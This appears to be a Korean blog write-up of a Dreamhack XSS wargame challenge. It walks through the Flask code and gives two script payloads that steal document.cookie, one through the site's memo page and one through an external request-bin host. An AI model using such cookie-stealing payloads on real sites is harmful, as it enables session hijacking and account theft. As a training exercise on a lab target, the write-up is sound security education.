[문제]
[풀이]
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
/vuln 페이지를 구성하는 코드이다. 코드를 살펴보면 이용자가 전달한 param 파라미터의 값을 출력한다.
/vuln 페이지에 접속하면 script 태그로 인해 alert 창이 뜨는 것을 확인할 수 있다.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
/memo 페이지를 구성하는 코드이다. 코드를 살펴보면 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력한다.
/memo 페이지에 접속하면 memo.html의 내용을 확인할 수 있다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
/flag 페이지를 구성하는 코드이다. 코드를 살펴보면 메서드에 따른 요청마다 다른 기능을 수행한다. GET 메서드일 경우 이용자에게 URL을 입력받는 페이지를 제공한다. POST 메서드일 경우 param 파라미터 값과 쿠키에 flag를 포함해 check_xss 함수를 호출한다. check_xss는 read_url 함수를 호출해 vuln 엔드 포인트에 접속한다.
vuln과 memo 엔드 포인트는 이용자의 입력값을 페이지에 출력한다. memo는 render_template 함수를 사용해 memo.html 출력한다. render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다.
vuln은 이용자가 입력하 값을 페이지에 그대로 출력하기 때문에 XSS가 발생한다. 즉, /vuln 페이지의 엔드 포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취하는 것이 이 문제의 핵심으로 보인다.
첫 번째 방법으로는 /memo 페이지를 사용하는 것이다. /flag 페이지의 엔드 포인트에서 <script>location.href = "/memo?memo=" + document.cookie;</script> 익스플로잇 코드를 입력한다. /vuln 페이지에서 <script> 태그가 허용되고 있기에 해당 태그를 사용했다.
익스플로잇 코드를 제출한 다음에 다시 /memo 페이지로 돌아가면 플래그를 확인할 수 있다.
두 번째 방법으로는 웹 서버를 사용하는 것이다. 외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인할 수 있다. 드림핵에서 제공하는 Request Bin 기능을 활용하였다.
flag 페이지의 엔드 포인트에서 <script>location.href = "https://zvehybn.request.dreamhack.games/?memo=" + document.cookie;</script> 익스플로잇 코드를 입력한다.
다시 Request Bin으로 돌아가서 이용자의 접속 기록을 살펴보면 플래그를 확인할 수 있다.
'웹 > 드림핵' 카테고리의 다른 글
csrf-1 (0) | 2022.09.03 |
---|---|
xss-2 (0) | 2022.09.01 |
Session-basic (0) | 2022.08.20 |
Cookie (0) | 2022.08.20 |
devtools-sources (0) | 2022.08.20 |